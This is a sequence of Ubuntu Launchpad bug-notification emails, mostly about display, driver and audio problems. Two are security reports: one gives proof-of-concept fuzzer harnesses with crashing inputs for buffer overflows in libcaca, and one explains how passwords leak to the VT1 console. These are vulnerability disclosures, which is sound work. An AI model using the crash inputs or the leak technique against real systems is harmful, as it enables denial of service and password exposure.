MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug freeze groovy third-party-packages ubuntu wayland-session -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg package in Ubuntu: New Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReprodu
[Touch-packages] [Bug 1923390] Re: NVidia driver updates installed "manually" by system did not recognize my RTX 3060
The NVIDIA driver hasn't changed since 2021-04-02 so it was probably a different package that broke things. Most likely the proposed kernel version 5.11.0-14.15-generic you are running. Less likely caused by the Xorg 2:1.20.10-3ubuntu7 update. ** Package changed: xorg (Ubuntu) => linux (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923390 Title: NVidia driver updates installed "manually" by system did not recognize my RTX 3060 Status in linux package in Ubuntu: Incomplete Bug description: Saturday night at about 03:00 UTC I noticed that an update to my system (Hirsute / 21.04) would no longer properly work with my NVidia RTX 3060; I was left in very low resolution mode. When I ran Additional Drivers, the screen indicated that I had manually installed graphics drivers and I could not select the official and tested NVidia drivers. I am assuming these "manually" installed drivers were a part of a system update as I did nothing to install any drivers on my own. I found a suggestion to run "apt purge nvdia-\*", which I did. When I rebooted, I was able to select the "Using NVIDIA driver metapackage from nvidia-driver-460 (proprietary,tested), and my screen resolution and general behaviour seemed fine from that point on. In case it doesn't come through in the uploaded files, here are the lines from /var/log/dpkg.log relating to my purge: 2021-04-10 20:28:09 startup packages purge 2021-04-10 20:28:09 purge nvidia-compute-utils-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status config-files nvidia-compute-utils-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status not-installed nvidia-compute-utils-460:amd64 2021-04-10 20:28:09 purge nvidia-prime:all 0.8.16.1 2021-04-10 20:28:09 status config-files nvidia-prime:all 0.8.16.1 2021-04-10 20:28:09 status not-installed nvidia-prime:all 2021-04-10 20:28:09 purge nvidia-kernel-common-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status config-files nvidia-kernel-common-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status triggers-pending initramfs-tools:all 0.139ubuntu3 2021-04-10 20:28:09 status not-installed nvidia-kernel-common-460:amd64 2021-04-10 20:28:09 purge linux-modules-nvidia-460-5.11.0-13-generic:amd64 5.11.0-13.14+2 2021-04-10 20:28:09 status config-files linux-modules-nvidia-460-5.11.0-13-generic:amd64 5.11.0-13.14+2 2021-04-10 20:28:10 status not-installed linux-modules-nvidia-460-5.11.0-13-generic:amd64 2021-04-10 20:28:10 purge nvidia-settings:amd64 460.56-0ubuntu2 2021-04-10 20:28:10 status config-files nvidia-settings:amd64 460.56-0ubuntu2 2021-04-10 20:28:10 status not-installed nvidia-settings:amd64 Note the time shown is Vancouver/Canada Pacific Daylight. It may be worth mentioning that nouveau doesn't recognize the RTX 3060 (I understand that this is a very recently released video card). ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: xorg 1:7.7+22ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-14.15-generic 5.11.12 Uname: Linux 5.11.0-14-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..09.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:09:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.67 Thu Mar 11 00:11:45 UTC 2021 GCC version: gcc version 10.3.0 (Ubuntu 10.3.0-1ubuntu1) ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 19:53:17 2021 DistUpgraded: Fresh install DistroCodename: hirsute DistroVariant: ubuntu DkmsStatus: nvidia, 460.67, 5.11.0-13-generic, x86_64: installed nvidia, 460.67, 5.11.0-14-generic, x86_64: installed ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: NVIDIA Corporation GA106 [GeForce RTX 3060] [10de:2503] (rev a1) (prog-if 00 [VGA controller]) Subsystem: eVga.com. Corp. Device [3842:3657] InstallationDate: Installed on 2021-04-10 (1 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210408) MachineType: Gigabyte Technology Co., Ltd. X570 AORUS PRO WIFI ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-14-generic root=UUID=e3894536-b8ed-4a39-8e94-007a9ec92956 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom:
[Touch-packages] [Bug 1923390] [NEW] NVidia driver updates installed "manually" by system did not recognize my RTX 3060
Public bug reported: Saturday night at about 03:00 UTC I noticed that an update to my system (Hirsute / 21.04) would no longer properly work with my NVidia RTX 3060; I was left in very low resolution mode. When I ran Additional Drivers, the screen indicated that I had manually installed graphics drivers and I could not select the official and tested NVidia drivers. I am assuming these "manually" installed drivers were a part of a system update as I did nothing to install any drivers on my own. I found a suggestion to run "apt purge nvdia-\*", which I did. When I rebooted, I was able to select the "Using NVIDIA driver metapackage from nvidia-driver-460 (proprietary,tested), and my screen resolution and general behaviour seemed fine from that point on. In case it doesn't come through in the uploaded files, here are the lines from /var/log/dpkg.log relating to my purge: 2021-04-10 20:28:09 startup packages purge 2021-04-10 20:28:09 purge nvidia-compute-utils-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status config-files nvidia-compute-utils-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status not-installed nvidia-compute-utils-460:amd64 2021-04-10 20:28:09 purge nvidia-prime:all 0.8.16.1 2021-04-10 20:28:09 status config-files nvidia-prime:all 0.8.16.1 2021-04-10 20:28:09 status not-installed nvidia-prime:all 2021-04-10 20:28:09 purge nvidia-kernel-common-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status config-files nvidia-kernel-common-460:amd64 460.67-0ubuntu1 2021-04-10 20:28:09 status triggers-pending initramfs-tools:all 0.139ubuntu3 2021-04-10 20:28:09 status not-installed nvidia-kernel-common-460:amd64 2021-04-10 20:28:09 purge linux-modules-nvidia-460-5.11.0-13-generic:amd64 5.11.0-13.14+2 2021-04-10 20:28:09 status config-files linux-modules-nvidia-460-5.11.0-13-generic:amd64 5.11.0-13.14+2 2021-04-10 20:28:10 status not-installed linux-modules-nvidia-460-5.11.0-13-generic:amd64 2021-04-10 20:28:10 purge nvidia-settings:amd64 460.56-0ubuntu2 2021-04-10 20:28:10 status config-files nvidia-settings:amd64 460.56-0ubuntu2 2021-04-10 20:28:10 status not-installed nvidia-settings:amd64 Note the time shown is Vancouver/Canada Pacific Daylight. It may be worth mentioning that nouveau doesn't recognize the RTX 3060 (I understand that this is a very recently released video card). ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: xorg 1:7.7+22ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-14.15-generic 5.11.12 Uname: Linux 5.11.0-14-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..09.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:09:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.67 Thu Mar 11 00:11:45 UTC 2021 GCC version: gcc version 10.3.0 (Ubuntu 10.3.0-1ubuntu1) ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 19:53:17 2021 DistUpgraded: Fresh install DistroCodename: hirsute DistroVariant: ubuntu DkmsStatus: nvidia, 460.67, 5.11.0-13-generic, x86_64: installed nvidia, 460.67, 5.11.0-14-generic, x86_64: installed ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: NVIDIA Corporation GA106 [GeForce RTX 3060] [10de:2503] (rev a1) (prog-if 00 [VGA controller]) Subsystem: eVga.com. Corp. Device [3842:3657] InstallationDate: Installed on 2021-04-10 (1 days ago) InstallationMedia: Ubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210408) MachineType: Gigabyte Technology Co., Ltd. X570 AORUS PRO WIFI ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-14-generic root=UUID=e3894536-b8ed-4a39-8e94-007a9ec92956 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/06/2020 dmi.bios.release: 5.14 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F12e dmi.board.asset.tag: Default string dmi.board.name: X570 AORUS PRO WIFI dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF12e:bd03/06/2020:br5.14:svnGigabyteTechnologyCo.,Ltd.:pnX570AORUSPROWIFI:pvr-CF:rvnGigabyteTechnologyCo.,Ltd.:rnX570AORUSPROWIFI:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: Default string dmi.product.name: X570 AORUS PRO WIFI dmi.p
[Touch-packages] [Bug 1923273] Re: buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff
** Summary changed: - libcaca buffer-overflow + buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libcaca in Ubuntu. https://bugs.launchpad.net/bugs/1923273 Title: buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff Status in libcaca package in Ubuntu: New Bug description: Hello Ubuntu Security Team I use libfuzzer to test libcaca api .I found two crash - https://github.com/cacalabs/libcaca/issues/53 - https://github.com/cacalabs/libcaca/issues/54 ## Vendor of Product https://github.com/cacalabs/libcaca ## Affected Product Code Base libcaca e4968ba ## Affected Component affected component:libcaca.so ## Affected source code file affected source code file(As call stack): ->caca_export_canvas_to_memory() in libcaca/caca/codec/export.c ->caca_export_memory()in libcaca/caca/codec/export.c -> export_tga()in libcaca/caca/codec/export.c -> export_troff() in libcaca/caca/codec/export.c ## Attack Type Context-dependent ## Impact Denial of Service true ## Reference https://github.com/cacalabs/libcaca ## Discoverer fdgnneig ## Verification process and POC ### Verification steps: 1.Get the source code of libcaca: 2.Compile the libcaca.so library: ```shell $ cd libcaca $ apt-get install automake libtool pkg-config -y $ ./bootstrap $ ./configure $ make 3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc 4.Run POC POC.sh ``` cat << EOF > poc_troff.cc #include "config.h" #include "caca.h" //#include "common-image.h" #include #include #include #include #include #include using namespace std; extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if(Size<8) return 0; size_t len=0; char* buffer = (char*)malloc(Size+1); memset(buffer,0,Size); memcpy(buffer,Data,Size); buffer[Size]='\0'; caca_canvas_t *cv; cv = caca_create_canvas(0,0); for(int i=0;i<4;i++) caca_create_frame(cv,0); for(int i=0;i<4;i++){ caca_set_frame(cv,i); caca_import_canvas_from_memory(cv,buffer,strlen(buffer),""); } void* reData = caca_export_canvas_to_memory(cv,"troff",&len); if(reData!=NULL) free(reData); caca_free_canvas(cv); cv=NULL; free(buffer); buffer=NULL; } int main(int args,char* argv[]){ size_t len = 0; unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11}; len = sizeof(buffer)/sizeof(unsigned char); LLVMFuzzerTestOneInput((const uint8_t*)buffer,len); printf("%d\n",sizeof(buffer)/sizeof(unsigned char)); return 0; } EOF clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_troff cat << EOF > poc_tga.cc #include "config.h" #include "caca.h" #include #include #include #include #include #include using namespace std; extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if(Size<8) return 0; size_t len=0; char* buffer = (char*)malloc(Size+1); memset(buffer,0,Size); memcpy(buffer,Data,Size); buffer[Size]='\0'; caca_canvas_t *cv; cv = caca_create_canvas(0,0); for(int i=0;i<4;i++) caca_create_frame(cv,0); for(int i=0;i<4;i++){ caca_set_frame(cv,i); caca_import_canvas_from_memory(cv,buffer,strlen(buffer),""); } void* reData = caca_export_canvas_to_memory(cv,"tga",&len); if(reData!=NULL) free(reData); caca_free_canvas(cv); cv=NULL; free(buffer); buffer=NULL; return 0; } int main(int args,char* argv[]){ size_t len = 0; unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11}; len = sizeof(buffer)/sizeof(unsigned char); LLVMFuzzerTestOneInput((const uint8_t*)buffer,len); printf("%d\n",sizeof(buffer)/sizeof(
[Touch-packages] [Bug 1803993] Re: Password appears on the VT1 screen
Interesting. Though Plymouth probably shouldn't be running at all by the time you type a password into the login screen. If it's not running then that's probably not the cause. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1803993 Title: Password appears on the VT1 screen Status in gdm3 package in Ubuntu: Invalid Status in plymouth package in Ubuntu: Invalid Status in systemd package in Ubuntu: Confirmed Bug description: [Impact] * The keyboard on the graphical login screen started on VT1 may stop working and or keypresses including passwords are leaked to the terminal console running 'behind' the graphical login screen or environment. [Test Case] * Reboot after installing the fixed systemd package. * Install sysdig * Start sysdig on a remote connection or on a terminal console: $ sudo sysdig evt.type=ioctl | grep request=4B4 * While sysdig is running log in and out 3 times in GDM and press a few keys in the graphical session to see if keyboard still works * Log in and out on an other terminal console, too, running a few commands while being logged in to ensure that keyboard is working. * Observe that on terminal consoles the monitored keyboard setter ioctl is called with argument=3, but where the graphical screen is active only argument=4 is used, unlike with the buggy version observed in https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1803993/comments/14 [Regression Potential] * The fix checks the current keyboard mode of the VT and allows only safe mode switches. The potential regression could be not allowing a valid mode switch keeping a keyboard in a non-operational mode. Testing covers that by typing the keyboard. (continued from bug 1767918) This was found when an administrative error made /home directory inaccessible. Any users that tried to login after that, were not able to (which is expected) but their password appears on the VT1 screen. Under normal circumstances, VT1 is not visible. But once the system was sent into this compromised mode, one can press ctrl+alt+F1 and then ctrl+alt+F2 and get a momentary glance at VT1. One can keep toggling between these key combinations in order to make out the password(s) on VT1. As a further test, I wanted to see if a non-super user could cause this condition, and it is in fact possible. As a regular user, I made their own home directory not writable and then removed ~/.config and logged out. Then logged in as that user again, and although that user can't login the system does go into that mode where passwords appear on VT1 and are viewable with the key combinations mentioned herein. Further, any other users that login will see no problem, but when they logon their passwords also appear on VT1 and are viewable. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.3-0ubuntu18.04.3 Uname: Linux 4.19.2-041902-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.5 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Nov 19 08:32:59 2018 InstallationDate: Installed on 2018-08-25 (85 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1803993/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1922792] Re: Bluez should notify users when they need to reboot to apply changes on Raspberry Pi
** Changed in: bluez (Ubuntu) Status: Incomplete => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1922792 Title: Bluez should notify users when they need to reboot to apply changes on Raspberry Pi Status in bluez package in Ubuntu: In Progress Bug description: In the case of upgrading or installing bluez for the first time on certain raspberry pi devices, a reboot may be required to apply the changes. We should add a check for this scenario in the postinst script. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1922792/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1923332] Re: I don't know
Please explain what kind of problem you are experiencing. ** Package changed: xorg (Ubuntu) => ubuntu ** Changed in: ubuntu Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923332 Title: I don't know Status in Ubuntu: Incomplete Bug description: I don't know ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permiso denegado: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Apr 10 23:37:06 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu GraphicsCard: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [8086:0402] (rev 06) (prog-if 00 [VGA controller]) Subsystem: Lenovo Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [17aa:3686] InstallationDate: Installed on 2021-04-11 (0 days ago) InstallationMedia: Ubuntu 20.04.2.0 LTS "Focal Fossa" - Release amd64 (20210209.1) MachineType: LENOVO 10150 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=e17409f1-effa-44b2-97fb-f77630566ffd ro recovery nomodeset dis_ucode_ldr SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/22/2014 dmi.bios.release: 1.23 dmi.bios.vendor: LENOVO dmi.bios.version: INKT23AUS dmi.board.name: INVALID dmi.board.vendor: LENOVO dmi.board.version: 31900059 STD dmi.chassis.type: 13 dmi.chassis.vendor: LENOVO dmi.chassis.version: Bx40-LeTV dmi.ec.firmware.release: 1.23 dmi.modalias: dmi:bvnLENOVO:bvrINKT23AUS:bd04/22/2014:br1.23:efr1.23:svnLENOVO:pn10150:pvrLenovoC560:rvnLENOVO:rnINVALID:rvr31900059STD:cvnLENOVO:ct13:cvrBx40-LeTV: dmi.product.family: IdeaCentre dmi.product.name: 10150 dmi.product.sku: LENOVO_MT_1015 dmi.product.version: Lenovo C560 dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+bug/1923332/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1923384] [NEW] [Dell Precision M3800, Realtek ALC3661, Speaker, Internal] No sound at all
Public bug reported: When I run Alsamixer, there seem to be two cards, the first of which is HDA Intel HDMI, so my initial thought was that the wrong sound port must be selected by default, but wgen I use F6, to select "HDA Intel PCH", Card Realtek ALC3661, I still cannot get the internal speakers to produce sound. Note that the headphone jack does work. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia wl zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 19:31:46 2021 InstallationDate: Installed on 2021-04-10 (1 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_Type: No sound at all Title: [Dell Precision M3800, Realtek ALC3661, Speaker, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/08/2015 dmi.bios.release: 0.9 dmi.bios.vendor: Dell Inc. dmi.bios.version: A09 dmi.board.name: Dell Precision M3800 dmi.board.vendor: Dell Inc. dmi.board.version: A09 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.ec.firmware.release: 0.9 dmi.modalias: dmi:bvnDellInc.:bvrA09:bd01/08/2015:br0.9:efr0.9:svnDellInc.:pnDellPrecisionM3800:pvrA09:rvnDellInc.:rnDellPrecisionM3800:rvrA09:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Dell Precision M3800 dmi.product.sku: Dell Precision M3800 dmi.product.version: A09 dmi.sys.vendor: Dell Inc. ** Affects: alsa-driver (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug groovy -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1923384 Title: [Dell Precision M3800, Realtek ALC3661, Speaker, Internal] No sound at all Status in alsa-driver package in Ubuntu: New Bug description: When I run Alsamixer, there seem to be two cards, the first of which is HDA Intel HDMI, so my initial thought was that the wrong sound port must be selected by default, but wgen I use F6, to select "HDA Intel PCH", Card Realtek ALC3661, I still cannot get the internal speakers to produce sound. Note that the headphone jack does work. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia wl zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 19:31:46 2021 InstallationDate: Installed on 2021-04-10 (1 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_Type: No sound at all Title: [Dell Precision M3800, Realtek ALC3661, Speaker, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/08/2015 dmi.bios.release: 0.9 dmi.bios.vendor: Dell Inc. dmi.bios.version: A09 dmi.board.name: Dell Precision M3800 dmi.board.vendor: Dell Inc. dmi.board.version: A09 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.ec.firmware.release: 0.9 dmi.modalias: dmi:bvnDellInc.:bvrA09:bd01/08/2015:br0.9:efr0.9:svnDellInc.:pnDellPrecisionM3800:pvrA09:rvnDellInc.:rnDellPrecisionM3800:rvrA09:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Dell Precision M3800 dmi.product.sku: Dell Precision M3800 dmi.product.version: A09 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1923384/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1923381] [NEW] regression: no display when waking from suspend
Public bug reported: I have two Lenovo T450s laptops running Ubuntu 20.10. A few weeks ago, suspend stopped working properly: with an external monitor, the external monitor no longer registers the connection when waking from suspend. Without, the laptop screen is black and the machine unresponsive until hard-rebooted, when waking from suspend ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-70.78-generic 5.4.94 Uname: Linux 5.4.0-70-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sun Apr 11 17:53:01 2021 DistUpgraded: 2020-06-01 15:46:34,953 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Failed to execute child process “./xorg_fix_proprietary.py” (No such file or directory) (8)) DistroCodename: focal DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.4.0-66-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-67-generic, x86_64: installed virtualbox, 6.1.16, 5.4.0-70-generic, x86_64: installed EcryptfsInUse: Yes ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo HD Graphics 5500 [17aa:5036] InstallationDate: Installed on 2019-01-24 (808 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) MachineType: LENOVO 20BXCTO1WW ProcKernelCmdLine: 